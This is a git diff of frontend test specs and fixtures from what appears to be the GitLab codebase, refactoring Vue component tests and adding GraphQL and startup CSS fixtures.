- { type: 'requestDeleteUserList', payload: userList },
- {
- type: 'receiveDeleteUserListError',
- payload: { list: userList, error: 'some error' },
- },
- ],
- done,
- );
- });
- });
- });
-
- describe('receiveDeleteUserListError', () => {
- it('should commit RECEIVE_DELETE_USER_LIST_ERROR with the given list', (done) => {
- testAction(
- receiveDeleteUserListError,
- { list: userList, error: 'mock error' },
- mockedState,
- [
- {
- type: 'RECEIVE_DELETE_USER_LIST_ERROR',
- payload: { list: userList, error: 'mock error' },
- },
- ],
- [],
- done,
- );
- });
- });
describe('clearAlert', () => {
it('should commit RECEIVE_CLEAR_ALERT', (done) => {
diff --git a/spec/frontend/feature_flags/store/index/mutations_spec.js b/spec/frontend/feature_flags/store/index/mutations_spec.js
index 08b5868d1b4..b9354196c68 100644
--- a/spec/frontend/feature_flags/store/index/mutations_spec.js
+++ b/spec/frontend/feature_flags/store/index/mutations_spec.js
@@ -3,7 +3,7 @@ import * as types from '~/feature_flags/store/index/mutation_types';
import mutations from '~/feature_flags/store/index/mutations';
import state from '~/feature_flags/store/index/state';
import { parseIntPagination, normalizeHeaders } from '~/lib/utils/common_utils';
-import { getRequestData, rotateData, featureFlag, userList } from '../../mock_data';
+import { getRequestData, rotateData, featureFlag } from '../../mock_data';
describe('Feature flags store Mutations', () => {
let stateCopy;
@@ -59,13 +59,11 @@ describe('Feature flags store Mutations', () => {
});
it('should set count with the given data', () => {
- expect(stateCopy.count.featureFlags).toEqual(37);
+ expect(stateCopy.count).toEqual(37);
});
it('should set pagination', () => {
- expect(stateCopy.pageInfo.featureFlags).toEqual(
- parseIntPagination(normalizeHeaders(headers)),
- );
+ expect(stateCopy.pageInfo).toEqual(parseIntPagination(normalizeHeaders(headers)));
});
});
@@ -83,58 +81,6 @@ describe('Feature flags store Mutations', () => {
});
});
- describe('REQUEST_USER_LISTS', () => {
- it('sets isLoading to true', () => {
- mutations[types.REQUEST_USER_LISTS](stateCopy);
- expect(stateCopy.isLoading).toBe(true);
- });
- });
-
- describe('RECEIVE_USER_LISTS_SUCCESS', () => {
- const headers = {
- 'x-next-page': '2',
- 'x-page': '1',
- 'X-Per-Page': '2',
- 'X-Prev-Page': '',
- 'X-TOTAL': '37',
- 'X-Total-Pages': '5',
- };
-
- beforeEach(() => {
- mutations[types.RECEIVE_USER_LISTS_SUCCESS](stateCopy, { data: [userList], headers });
- });
-
- it('sets isLoading to false', () => {
- expect(stateCopy.isLoading).toBe(false);
- });
-
- it('sets userLists to the received userLists', () => {
- expect(stateCopy.userLists).toEqual([userList]);
- });
-
- it('sets pagination info for user lits', () => {
- expect(stateCopy.pageInfo.userLists).toEqual(parseIntPagination(normalizeHeaders(headers)));
- });
-
- it('sets the count for user lists', () => {
- expect(stateCopy.count.userLists).toBe(parseInt(headers['X-TOTAL'], 10));
- });
- });
-
- describe('RECEIVE_USER_LISTS_ERROR', () => {
- beforeEach(() => {
- mutations[types.RECEIVE_USER_LISTS_ERROR](stateCopy);
- });
-
- it('should set isLoading to false', () => {
- expect(stateCopy.isLoading).toEqual(false);
- });
-
- it('should set hasError to true', () => {
- expect(stateCopy.hasError).toEqual(true);
- });
- });
-
describe('REQUEST_ROTATE_INSTANCE_ID', () => {
beforeEach(() => {
mutations[types.REQUEST_ROTATE_INSTANCE_ID](stateCopy);
@@ -214,7 +160,7 @@ describe('Feature flags store Mutations', () => {
...flagState,
scopes: mapToScopesViewModel(flag.scopes || []),
}));
- stateCopy.count.featureFlags = stateCount;
+ stateCopy.count = stateCount;
mutations[types.RECEIVE_UPDATE_FEATURE_FLAG_SUCCESS](stateCopy, {
...featureFlag,
@@ -241,8 +187,6 @@ describe('Feature flags store Mutations', () => {
...flag,
scopes: mapToScopesViewModel(flag.scopes || []),
}));
- stateCopy.count = { enabled: 1, disabled: 0 };
-
mutations[types.RECEIVE_UPDATE_FEATURE_FLAG_ERROR](stateCopy, featureFlag.id);
});
@@ -257,36 +201,6 @@ describe('Feature flags store Mutations', () => {
});
});
- describe('REQUEST_DELETE_USER_LIST', () => {
- beforeEach(() => {
- stateCopy.userLists = [userList];
- mutations[types.REQUEST_DELETE_USER_LIST](stateCopy, userList);
- });
-
- it('should remove the deleted list', () => {
- expect(stateCopy.userLists).not.toContain(userList);
- });
- });
-
- describe('RECEIVE_DELETE_USER_LIST_ERROR', () => {
- beforeEach(() => {
- stateCopy.userLists = [];
- mutations[types.RECEIVE_DELETE_USER_LIST_ERROR](stateCopy, {
- list: userList,
- error: 'some error',
- });
- });
-
- it('should set isLoading to false and hasError to false', () => {
- expect(stateCopy.isLoading).toBe(false);
- expect(stateCopy.hasError).toBe(false);
- });
-
- it('should add the user list back to the list of user lists', () => {
- expect(stateCopy.userLists).toContain(userList);
- });
- });
-
describe('RECEIVE_CLEAR_ALERT', () => {
it('clears the alert', () => {
stateCopy.alerts = ['a server error'];
diff --git a/spec/frontend/filtered_search/filtered_search_manager_spec.js b/spec/frontend/filtered_search/filtered_search_manager_spec.js
index 465e1ee1ef1..c03c8f6c529 100644
--- a/spec/frontend/filtered_search/filtered_search_manager_spec.js
+++ b/spec/frontend/filtered_search/filtered_search_manager_spec.js
@@ -185,7 +185,7 @@ describe('Filtered Search Manager', () => {
});
describe('search', () => {
- const defaultParams = '?scope=all&utf8=%E2%9C%93';
+ const defaultParams = '?scope=all';
const defaultState = '&state=opened';
it('should search with a single word', (done) => {
diff --git a/spec/frontend/fixtures/api_markdown.rb b/spec/frontend/fixtures/api_markdown.rb
index e012d922aad..1c3967b2c36 100644
--- a/spec/frontend/fixtures/api_markdown.rb
+++ b/spec/frontend/fixtures/api_markdown.rb
@@ -25,7 +25,7 @@ RSpec.describe API::MergeRequests, '(JavaScript fixtures)', type: :request do
let(:markdown) { markdown_example.fetch(:markdown) }
it "#{fixture_subdir}/#{name}.json" do
- post api("/markdown"), params: { text: markdown }
+ post api("/markdown"), params: { text: markdown, gfm: true }
expect(response).to be_successful
end
diff --git a/spec/frontend/fixtures/releases.rb b/spec/frontend/fixtures/releases.rb
index 7ec155fcb10..1882ac49fd6 100644
--- a/spec/frontend/fixtures/releases.rb
+++ b/spec/frontend/fixtures/releases.rb
@@ -100,6 +100,17 @@ RSpec.describe 'Releases (JavaScript fixtures)' do
link_type: :image)
end
+ let_it_be(:another_release) do
+ create(:release,
+ project: project,
+ tag: 'v1.2',
+ name: 'The second release',
+ author: admin,
+ description: 'An okay release :shrug:',
+ created_at: Time.zone.parse('2019-01-03'),
+ released_at: Time.zone.parse('2019-01-10'))
+ end
+
after(:all) do
remove_repository(project)
end
diff --git a/spec/frontend/fixtures/runner.rb b/spec/frontend/fixtures/runner.rb
new file mode 100644
index 00000000000..b88fb840137
--- /dev/null
+++ b/spec/frontend/fixtures/runner.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Runner (JavaScript fixtures)' do
+ include AdminModeHelper
+ include ApiHelpers
+ include JavaScriptFixturesHelpers
+ include GraphqlHelpers
+
+ let_it_be(:admin) { create(:admin) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, :repository, :public) }
+
+ let_it_be(:instance_runner) { create(:ci_runner, :instance, version: '1.0.0', revision: '123', description: 'Instance runner', ip_address: '127.0.0.1') }
+ let_it_be(:group_runner) { create(:ci_runner, :group, groups: [group], active: false, version: '2.0.0', revision: '456', description: 'Group runner', ip_address: '127.0.0.1') }
+ let_it_be(:project_runner) { create(:ci_runner, :project, projects: [project], active: false, version: '2.0.0', revision: '456', description: 'Project runner', ip_address: '127.0.0.1') }
+
+ query_path = 'runner/graphql/'
+ fixtures_path = 'graphql/runner/'
+
+ before(:all) do
+ clean_frontend_fixtures(fixtures_path)
+ end
+
+ after(:all) do
+ remove_repository(project)
+ end
+
+ before do
+ sign_in(admin)
+ enable_admin_mode!(admin)
+ end
+
+ describe GraphQL::Query, type: :request do
+ get_runners_query_name = 'get_runners.query.graphql'
+
+ let_it_be(:query) do
+ get_graphql_query_as_string("#{query_path}#{get_runners_query_name}", [
+ 'runner/graphql/runner_node.fragment.graphql',
+ 'graphql_shared/fragments/pageInfo.fragment.graphql'
+ ])
+ end
+
+ it "#{fixtures_path}#{get_runners_query_name}.json" do
+ post_graphql(query, current_user: admin, variables: {})
+
+ expect_graphql_errors_to_be_empty
+ end
+
+ it "#{fixtures_path}#{get_runners_query_name}.paginated.json" do
+ post_graphql(query, current_user: admin, variables: { first: 2 })
+
+ expect_graphql_errors_to_be_empty
+ end
+ end
+
+ describe GraphQL::Query, type: :request do
+ get_runner_query_name = 'get_runner.query.graphql'
+
+ let_it_be(:query) do
+ get_graphql_query_as_string("#{query_path}#{get_runner_query_name}", [
+ 'runner/graphql/runner_details.fragment.graphql'
+ ])
+ end
+
+ it "#{fixtures_path}#{get_runner_query_name}.json" do
+ post_graphql(query, current_user: admin, variables: {
+ id: instance_runner.to_global_id.to_s
+ })
+
+ expect_graphql_errors_to_be_empty
+ end
+ end
+end
diff --git a/spec/frontend/fixtures/services.rb b/spec/frontend/fixtures/services.rb
index 7472af802f3..91e6c2eb280 100644
--- a/spec/frontend/fixtures/services.rb
+++ b/spec/frontend/fixtures/services.rb
@@ -7,7 +7,7 @@ RSpec.describe Projects::ServicesController, '(JavaScript fixtures)', type: :con
let(:namespace) { create(:namespace, name: 'frontend-fixtures' )}
let(:project) { create(:project_empty_repo, namespace: namespace, path: 'services-project') }
- let!(:service) { create(:custom_issue_tracker_service, project: project) }
+ let!(:service) { create(:custom_issue_tracker_integration, project: project) }
let(:user) { project.owner }
render_views
diff --git a/spec/frontend/fixtures/startup_css.rb b/spec/frontend/fixtures/startup_css.rb
new file mode 100644
index 00000000000..003f7b768dd
--- /dev/null
+++ b/spec/frontend/fixtures/startup_css.rb
@@ -0,0 +1,88 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Startup CSS fixtures', type: :controller do
+ include JavaScriptFixturesHelpers
+
+ let(:use_full_html) { true }
+
+ render_views
+
+ before(:all) do
+ stub_feature_flags(combined_menu: true)
+ stub_feature_flags(sidebar_refactor: true)
+ clean_frontend_fixtures('startup_css/')
+ end
+
+ shared_examples 'startup css project fixtures' do |type|
+ let(:user) { create(:user, :admin) }
+ let(:project) { create(:project, :public, :repository, description: 'Code and stuff', creator: user) }
+
+ before do
+ sign_in(user)
+ end
+
+ it "startup_css/project-#{type}-legacy-menu.html" do
+ stub_feature_flags(combined_menu: false)
+
+ get :show, params: {
+ namespace_id: project.namespace.to_param,
+ id: project
+ }
+
+ expect(response).to be_successful
+ end
+
+ it "startup_css/project-#{type}.html" do
+ get :show, params: {
+ namespace_id: project.namespace.to_param,
+ id: project
+ }
+
+ expect(response).to be_successful
+ end
+
+ it "startup_css/project-#{type}-legacy-sidebar.html" do
+ stub_feature_flags(sidebar_refactor: false)
+
+ get :show, params: {
+ namespace_id: project.namespace.to_param,
+ id: project
+ }
+
+ expect(response).to be_successful
+ end
+
+ it "startup_css/project-#{type}-signed-out.html" do
+ sign_out(user)
+
+ get :show, params: {
+ namespace_id: project.namespace.to_param,
+ id: project
+ }
+
+ expect(response).to be_successful
+ end
+ end
+
+ describe ProjectsController, '(Startup CSS fixtures)', type: :controller do
+ it_behaves_like 'startup css project fixtures', 'general'
+ end
+
+ describe ProjectsController, '(Startup CSS fixtures)', type: :controller do
+ before do
+ user.update!(theme_id: 11)
+ end
+
+ it_behaves_like 'startup css project fixtures', 'dark'
+ end
+
+ describe RegistrationsController, '(Startup CSS fixtures)', type: :controller do
+ it 'startup_css/sign-in.html' do
+ get :new
+
+ expect(response).to be_successful
+ end
+ end
+end
diff --git a/spec/frontend/fixtures/static/projects.json b/spec/frontend/fixtures/static/projects.json
index f28d9899099..d843549039b 100644
--- a/spec/frontend/fixtures/static/projects.json
+++ b/spec/frontend/fixtures/static/projects.json
@@ -3,6 +3,7 @@
"description": "",
"default_branch": null,
"tag_list": [],
+ "topics": [],
"public": true,
"archived": false,
"visibility_level": 20,
@@ -54,6 +55,7 @@
"description": "Voluptatem quae nulla eius numquam ullam voluptatibus quia modi.",
"default_branch": "master",
"tag_list": [],
+ "topics": [],
"public": false,
"archived": false,
"visibility_level": 0,
@@ -114,6 +116,7 @@
"description": "Modi odio mollitia dolorem qui.",
"default_branch": "master",
"tag_list": [],
+ "topics": [],
"public": false,
"archived": false,
"visibility_level": 0,
@@ -162,6 +165,7 @@
"description": "Omnis asperiores ipsa et beatae quidem necessitatibus quia.",
"default_branch": "master",
"tag_list": [],
+ "topics": [],
"public": true,
"archived": false,
"visibility_level": 20,
@@ -210,6 +214,7 @@
"description": "Voluptatem commodi voluptate placeat architecto beatae illum dolores fugiat.",
"default_branch": "master",
"tag_list": [],
+ "topics": [],
"public": false,
"archived": false,
"visibility_level": 0,
@@ -258,6 +263,7 @@
"description": "Aut molestias quas est ut aperiam officia quod libero.",
"default_branch": "master",
"tag_list": [],
+ "topics": [],
"public": true,
"archived": false,
"visibility_level": 20,
@@ -309,6 +315,7 @@
"description": "Excepturi molestiae quia repellendus omnis est illo illum eligendi.",
"default_branch": "master",
"tag_list": [],
+ "topics": [],
"public": true,
"archived": false,
"visibility_level": 20,
@@ -357,6 +364,7 @@
"description": "Adipisci quaerat dignissimos enim sed ipsam dolorem quia.",
"default_branch": "master",
"tag_list": [],
+ "topics": [],
"public": false,
"archived": false,
"visibility_level": 10,
@@ -408,6 +416,7 @@
"description": "Vel voluptatem maxime saepe ex quia.",
"default_branch": "master",
"tag_list": [],
+ "topics": [],
"public": false,
"archived": false,
"visibility_level": 0,
diff --git a/spec/frontend/flash_spec.js b/spec/frontend/flash_spec.js
index 6a5ac76a4d0..28e8522cc12 100644
--- a/spec/frontend/flash_spec.js
+++ b/spec/frontend/flash_spec.js
@@ -357,27 +357,46 @@ describe('Flash', () => {
});
describe('removeFlashClickListener', () => {
- beforeEach(() => {
- document.body.innerHTML += `
- <div class="flash-container">
- <div class="flash">
- <div class="close-icon js-close-icon"></div>
+ let el;
+
+ describe('with close icon', () => {
+ beforeEach(() => {
+ el = document.createElement('div');
+ el.innerHTML = `
+ <div class="flash-container">
+ <div class="flash">
+ <div class="close-icon js-close-icon"></div>
+ </div>
</div>
- </div>
- `;
- });
+ `;
+ });
- it('removes global flash on click', (done) => {
- const flashEl = document.querySelector('.flash');
+ it('removes global flash on click', (done) => {
+ removeFlashClickListener(el, false);
- removeFlashClickListener(flashEl, false);
+ el.querySelector('.js-close-icon').click();
- flashEl.querySelector('.js-close-icon').click();
+ setImmediate(() => {
+ expect(document.querySelector('.flash')).toBeNull();
- setImmediate(() => {
- expect(document.querySelector('.flash')).toBeNull();
+ done();
+ });
+ });
+ });
+
+ describe('without close icon', () => {
+ beforeEach(() => {
+ el = document.createElement('div');
+ el.innerHTML = `
+ <div class="flash-container">
+ <div class="flash">
+ </div>
+ </div>
+ `;
+ });
- done();
+ it('does not throw', () => {
+ expect(() => removeFlashClickListener(el, false)).not.toThrow();
});
});
});
diff --git a/spec/frontend/frequent_items/components/app_spec.js b/spec/frontend/frequent_items/components/app_spec.js
index 7a1026e8bfc..a94cb3e2fcc 100644
--- a/spec/frontend/frequent_items/components/app_spec.js
+++ b/spec/frontend/frequent_items/components/app_spec.js
@@ -21,13 +21,14 @@ const TEST_NAMESPACE = 'projects';
const TEST_VUEX_MODULE = 'frequentProjects';
const TEST_PROJECT = currentSession[TEST_NAMESPACE].project;
const TEST_STORAGE_KEY = currentSession[TEST_NAMESPACE].storageKey;
+const TEST_SEARCH_CLASS = 'test-search-class';
describe('Frequent Items App Component', () => {
let wrapper;
let mock;
let store;
- const createComponent = ({ currentItem = null } = {}) => {
+ const createComponent = (props = {}) => {
const session = currentSession[TEST_NAMESPACE];
gon.api_version = session.apiVersion;
@@ -36,7 +37,8 @@ describe('Frequent Items App Component', () => {
propsData: {
namespace: TEST_NAMESPACE,
currentUserName: session.username,
- currentItem: currentItem || session.project,
+ currentItem: session.project,
+ ...props,
},
provide: {
vuexModule: TEST_VUEX_MODULE,
@@ -88,7 +90,7 @@ describe('Frequent Items App Component', () => {
});
it('should render search input', () => {
- expect(findSearchInput().exists()).toBe(true);
+ expect(findSearchInput().classes()).toEqual(['search-input-container']);
});
it('should render loading animation', async () => {
@@ -159,6 +161,16 @@ describe('Frequent Items App Component', () => {
});
});
+ describe('with searchClass', () => {
+ beforeEach(() => {
+ createComponent({ searchClass: TEST_SEARCH_CLASS });
+ });
+
+ it('should render search input with searchClass', () => {
+ expect(findSearchInput().classes()).toEqual(['search-input-container', TEST_SEARCH_CLASS]);
+ });
+ });
+
describe('logging', () => {
it('when created, it should create a project storage entry and adds a project', () => {
createComponent();
diff --git a/spec/frontend/grafana_integration/components/__snapshots__/grafana_integration_spec.js.snap b/spec/frontend/grafana_integration/components/__snapshots__/grafana_integration_spec.js.snap
index 1d2a5d636bc..33e2c0db5e5 100644
--- a/spec/frontend/grafana_integration/components/__snapshots__/grafana_integration_spec.js.snap
+++ b/spec/frontend/grafana_integration/components/__snapshots__/grafana_integration_spec.js.snap
@@ -43,19 +43,25 @@ exports[`grafana integration component default state to match the default snapsh
class="settings-content"
>
<form>
- <gl-form-checkbox-stub
- class="mb-4"
- id="grafana-integration-enabled"
+ <gl-form-group-stub
+ label="Enable authentication"
+ label-for="grafana-integration-enabled"
+ labeldescription=""
>
+ <gl-form-checkbox-stub
+ id="grafana-integration-enabled"
+ >
+
+ Active
- Active
-
- </gl-form-checkbox-stub>
+ </gl-form-checkbox-stub>
+ </gl-form-group-stub>
<gl-form-group-stub
description="Enter the base URL of the Grafana instance."
label="Grafana URL"
label-for="grafana-url"
+ labeldescription=""
>
<gl-form-input-stub
id="grafana-url"
@@ -67,6 +73,7 @@ exports[`grafana integration component default state to match the default snapsh
<gl-form-group-stub
label="API token"
label-for="grafana-token"
+ labeldescription=""
>
<gl-form-input-stub
id="grafana-token"
@@ -76,32 +83,19 @@ exports[`grafana integration component default state to match the default snapsh
<p
class="form-text text-muted"
>
-
- Enter the Grafana API token.
-
- <a
- href="https://grafana.com/docs/http_api/auth/#create-api-token"
- rel="noopener noreferrer"
- target="_blank"
- >
-
- More information.
-
- <gl-icon-stub
- class="vertical-align-middle"
- name="external-link"
- size="16"
- />
- </a>
+ <gl-sprintf-stub
+ message="Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
+ />
</p>
</gl-form-group-stub>
<gl-button-stub
buttontextclasses=""
category="primary"
+ data-testid="save-grafana-settings-button"
icon=""
size="medium"
- variant="success"
+ variant="confirm"
>
Save changes
diff --git a/spec/frontend/grafana_integration/components/grafana_integration_spec.js b/spec/frontend/grafana_integration/components/grafana_integration_spec.js
index f1a8e6fe2dc..3cb4dd41574 100644
--- a/spec/frontend/grafana_integration/components/grafana_integration_spec.js
+++ b/spec/frontend/grafana_integration/components/grafana_integration_spec.js
@@ -1,7 +1,8 @@
import { GlButton } from '@gitlab/ui';
-import { mount, shallowMount } from '@vue/test-utils';
+import { shallowMount } from '@vue/test-utils';
import { TEST_HOST } from 'helpers/test_constants';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import { mountExtended } from 'helpers/vue_test_utils_helper';
+import createFlash from '~/flash';
import GrafanaIntegration from '~/grafana_integration/components/grafana_integration.vue';
import { createStore } from '~/grafana_integration/store';
import axios from '~/lib/utils/axios_utils';
@@ -51,8 +52,7 @@ describe('grafana integration component', () => {
it('renders as an expand button by default', () => {
wrapper = shallowMount(GrafanaIntegration, { store });
- const button = wrapper.find(GlButton);
-
+ const button = wrapper.findComponent(GlButton);
expect(button.text()).toBe('Expand');
});
});
@@ -70,6 +70,7 @@ describe('grafana integration component', () => {
describe('form', () => {
beforeEach(() => {
jest.spyOn(axios, 'patch').mockImplementation();
+ wrapper = mountExtended(GrafanaIntegration, { store });
});
afterEach(() => {
@@ -77,7 +78,7 @@ describe('grafana integration component', () => {
});
describe('submit button', () => {
- const findSubmitButton = () => wrapper.find('.settings-content form').find(GlButton);
+ const findSubmitButton = () => wrapper.findByTestId('save-grafana-settings-button');
const endpointRequest = [
operationsSettingsEndpoint,
@@ -93,9 +94,7 @@ describe('grafana integration component', () => {
];
it('submits form on click', () => {
- wrapper = mount(GrafanaIntegration, { store });
axios.patch.mockResolvedValue();
-
findSubmitButton(wrapper).trigger('click');
expect(axios.patch).toHaveBeenCalledWith(...endpointRequest);
@@ -104,7 +103,6 @@ describe('grafana integration component', () => {
it('creates flash banner on error', () => {
const message = 'mockErrorMessage';
- wrapper = mount(GrafanaIntegration, { store });
axios.patch.mockRejectedValue({ response: { data: { message } } });
findSubmitButton().trigger('click');
@@ -114,10 +112,10 @@ describe('grafana integration component', () => {
.$nextTick()
.then(jest.runAllTicks)
.then(() =>
- expect(createFlash).toHaveBeenCalledWith(
- `There was an error saving your changes. ${message}`,
- 'alert',
- ),
+ expect(createFlash).toHaveBeenCalledWith({
+ message: `There was an error saving your changes. ${message}`,
+ type: 'alert',
+ }),
);
});
});
diff --git a/spec/frontend/groups/components/group_item_spec.js b/spec/frontend/groups/components/group_item_spec.js
index 5a9f640392f..546cdd3cd6f 100644
--- a/spec/frontend/groups/components/group_item_spec.js
+++ b/spec/frontend/groups/components/group_item_spec.js
@@ -1,34 +1,33 @@
+import { mount } from '@vue/test-utils';
import Vue from 'vue';
-import mountComponent from 'helpers/vue_mount_component_helper';
-import groupFolderComponent from '~/groups/components/group_folder.vue';
-import groupItemComponent from '~/groups/components/group_item.vue';
+import GroupFolder from '~/groups/components/group_folder.vue';
+import GroupItem from '~/groups/components/group_item.vue';
+import ItemActions from '~/groups/components/item_actions.vue';
import eventHub from '~/groups/event_hub';
import { getGroupItemMicrodata } from '~/groups/store/utils';
import * as urlUtilities from '~/lib/utils/url_utility';
import { mockParentGroupItem, mockChildren } from '../mock_data';
-const createComponent = (group = mockParentGroupItem, parentGroup = mockChildren[0]) => {
- const Component = Vue.extend(groupItemComponent);
-
- return mountComponent(Component, {
- group,
- parentGroup,
+const createComponent = (
+ propsData = { group: mockParentGroupItem, parentGroup: mockChildren[0] },
+) => {
+ return mount(GroupItem, {
+ propsData,
+ components: { GroupFolder },
});
};
describe('GroupItemComponent', () => {
- let vm;
+ let wrapper;
beforeEach(() => {
- Vue.component('GroupFolder', groupFolderComponent);
-
- vm = createComponent();
+ wrapper = createComponent();
return Vue.nextTick();
});
afterEach(() => {
- vm.$destroy();
+ wrapper.destroy();
});
const withMicrodata = (group) => ({
@@ -39,14 +38,14 @@ describe('GroupItemComponent', () => {
describe('computed', () => {
describe('groupDomId', () => {
it('should return ID string suffixed with group ID', () => {
- expect(vm.groupDomId).toBe('group-55');
+ expect(wrapper.vm.groupDomId).toBe('group-55');
});
});
describe('rowClass', () => {
it('should return map of classes based on group details', () => {
const classes = ['is-open', 'has-children', 'has-description', 'being-removed'];
- const { rowClass } = vm;
+ const { rowClass } = wrapper.vm;
expect(Object.keys(rowClass).length).toBe(classes.length);
Object.keys(rowClass).forEach((className) => {
@@ -57,58 +56,55 @@ describe('GroupItemComponent', () => {
describe('hasChildren', () => {
it('should return boolean value representing if group has any children present', () => {
- let newVm;
const group = { ...mockParentGroupItem };
group.childrenCount = 5;
- newVm = createComponent(group);
+ wrapper = createComponent({ group });
- expect(newVm.hasChildren).toBeTruthy();
- newVm.$destroy();
+ expect(wrapper.vm.hasChildren).toBe(true);
+ wrapper.destroy();
group.childrenCount = 0;
- newVm = createComponent(group);
+ wrapper = createComponent({ group });
- expect(newVm.hasChildren).toBeFalsy();
- newVm.$destroy();
+ expect(wrapper.vm.hasChildren).toBe(false);
+ wrapper.destroy();
});
});
describe('hasAvatar', () => {
it('should return boolean value representing if group has any avatar present', () => {
- let newVm;
const group = { ...mockParentGroupItem };
group.avatarUrl = null;
- newVm = createComponent(group);
+ wrapper = createComponent({ group });
- expect(newVm.hasAvatar).toBeFalsy();
- newVm.$destroy();
+ expect(wrapper.vm.hasAvatar).toBe(false);
+ wrapper.destroy();
group.avatarUrl = '/uploads/group_avatar.png';
- newVm = createComponent(group);
+ wrapper = createComponent({ group });
- expect(newVm.hasAvatar).toBeTruthy();
- newVm.$destroy();
+ expect(wrapper.vm.hasAvatar).toBe(true);
+ wrapper.destroy();
});
});
describe('isGroup', () => {
it('should return boolean value representing if group item is of type `group` or not', () => {
- let newVm;
const group = { ...mockParentGroupItem };
group.type = 'group';
- newVm = createComponent(group);
+ wrapper = createComponent({ group });
- expect(newVm.isGroup).toBeTruthy();
- newVm.$destroy();
+ expect(wrapper.vm.isGroup).toBe(true);
+ wrapper.destroy();
group.type = 'project';
- newVm = createComponent(group);
+ wrapper = createComponent({ group });
- expect(newVm.isGroup).toBeFalsy();
- newVm.$destroy();
+ expect(wrapper.vm.isGroup).toBe(false);
+ wrapper.destroy();
});
});
});
@@ -137,22 +133,22 @@ describe('GroupItemComponent', () => {
it('should emit `toggleChildren` event when expand is clicked on a group and it has children present', () => {
jest.spyOn(eventHub, '$emit').mockImplementation(() => {});
- vm.onClickRowGroup(event);
+ wrapper.vm.onClickRowGroup(event);
- expect(eventHub.$emit).toHaveBeenCalledWith('toggleChildren', vm.group);
+ expect(eventHub.$emit).toHaveBeenCalledWith('toggleChildren', wrapper.vm.group);
});
it('should navigate page to group homepage if group does not have any children present', () => {
jest.spyOn(urlUtilities, 'visitUrl').mockImplementation();
const group = { ...mockParentGroupItem };
group.childrenCount = 0;
- const newVm = createComponent(group);
+ wrapper = createComponent({ group });
jest.spyOn(eventHub, '$emit').mockImplementation(() => {});
- newVm.onClickRowGroup(event);
+ wrapper.vm.onClickRowGroup(event);
expect(eventHub.$emit).not.toHaveBeenCalled();
- expect(urlUtilities.visitUrl).toHaveBeenCalledWith(newVm.group.relativePath);
+ expect(urlUtilities.visitUrl).toHaveBeenCalledWith(wrapper.vm.group.relativePath);
});
});
});
@@ -163,11 +159,11 @@ describe('GroupItemComponent', () => {
describe('for a group pending deletion', () => {
beforeEach(() => {
group = { ...mockParentGroupItem, pendingRemoval: true };
- vm = createComponent(group);
+ wrapper = createComponent({ group });
});
it('renders the group pending removal badge', () => {
- const badgeEl = vm.$el.querySelector('.badge-warning');
+ const badgeEl = wrapper.vm.$el.querySelector('.badge-warning');
expect(badgeEl).toBeDefined();
expect(badgeEl.innerHTML).toContain('pending removal');
@@ -177,21 +173,41 @@ describe('GroupItemComponent', () => {
describe('for a group not scheduled for deletion', () => {
beforeEach(() => {
group = { ...mockParentGroupItem, pendingRemoval: false };
- vm = createComponent(group);
+ wrapper = createComponent({ group });
});
it('does not render the group pending removal badge', () => {
- const groupTextContainer = vm.$el.querySelector('.group-text-container');
+ const groupTextContainer = wrapper.vm.$el.querySelector('.group-text-container');
expect(groupTextContainer).not.toContain('pending removal');
});
+
+ it('renders `item-actions` component and passes correct props to it', () => {
+ wrapper = createComponent({
+ group: mockParentGroupItem,
+ parentGroup: mockChildren[0],
+ action: 'subgroups_and_projects',
+ });
+ const itemActionsComponent = wrapper.findComponent(ItemActions);
+
+ expect(itemActionsComponent.exists()).toBe(true);
+ expect(itemActionsComponent.props()).toEqual({
+ group: mockParentGroupItem,
+ parentGroup: mockChildren[0],
+ action: 'subgroups_and_projects',
+ });
+ });
});
it('should render component template correctly', () => {
- const visibilityIconEl = vm.$el.querySelector('[data-testid="group-visibility-icon"]');
+ const visibilityIconEl = wrapper.vm.$el.querySelector(
+ '[data-testid="group-visibility-icon"]',
+ );
+
+ const { vm } = wrapper;
expect(vm.$el.getAttribute('id')).toBe('group-55');
- expect(vm.$el.classList.contains('group-row')).toBeTruthy();
+ expect(vm.$el.classList.contains('group-row')).toBe(true);
expect(vm.$el.querySelector('.group-row-contents')).toBeDefined();
expect(vm.$el.querySelector('.group-row-contents .controls')).toBeDefined();
@@ -220,13 +236,13 @@ describe('GroupItemComponent', () => {
describe('schema.org props', () => {
describe('when showSchemaMarkup is disabled on the group', () => {
it.each(['itemprop', 'itemtype', 'itemscope'], 'it does not set %s', (attr) => {
- expect(vm.$el.getAttribute(attr)).toBeNull();
+ expect(wrapper.vm.$el.getAttribute(attr)).toBeNull();
});
it.each(
['.js-group-avatar', '.js-group-name', '.js-group-description'],
'it does not set `itemprop` on sub-nodes',
(selector) => {
- expect(vm.$el.querySelector(selector).getAttribute('itemprop')).toBeNull();
+ expect(wrapper.vm.$el.querySelector(selector).getAttribute('itemprop')).toBeNull();
},
);
});
@@ -238,7 +254,7 @@ describe('GroupItemComponent', () => {
description: 'Foo Bar',
});
- vm = createComponent(group);
+ wrapper = createComponent({ group });
});
it.each`
@@ -247,7 +263,7 @@ describe('GroupItemComponent', () => {
${'itemtype'} | ${'https://schema.org/Organization'}
${'itemprop'} | ${'subOrganization'}
`('it does set correct $attr', ({ attr, value } = {}) => {
- expect(vm.$el.getAttribute(attr)).toBe(value);
+ expect(wrapper.vm.$el.getAttribute(attr)).toBe(value);
});
it.each`
@@ -256,7 +272,7 @@ describe('GroupItemComponent', () => {
${'[data-testid="group-name"]'} | ${'name'}
${'[data-testid="group-description"]'} | ${'description'}
`('it does set correct $selector', ({ selector, propValue } = {}) => {
- expect(vm.$el.querySelector(selector).getAttribute('itemprop')).toBe(propValue);
+ expect(wrapper.vm.$el.querySelector(selector).getAttribute('itemprop')).toBe(propValue);
});
});
});
diff --git a/spec/frontend/ide/components/branches/item_spec.js b/spec/frontend/ide/components/branches/item_spec.js
index f90c298c401..271d0600e16 100644
--- a/spec/frontend/ide/components/branches/item_spec.js
+++ b/spec/frontend/ide/components/branches/item_spec.js
@@ -7,7 +7,7 @@ import Timeago from '~/vue_shared/components/time_ago_tooltip.vue';
import { projectData } from '../../mock_data';
const TEST_BRANCH = {
- name: 'master',
+ name: 'main',
committedDate: '2018-01-05T05:50Z',
};
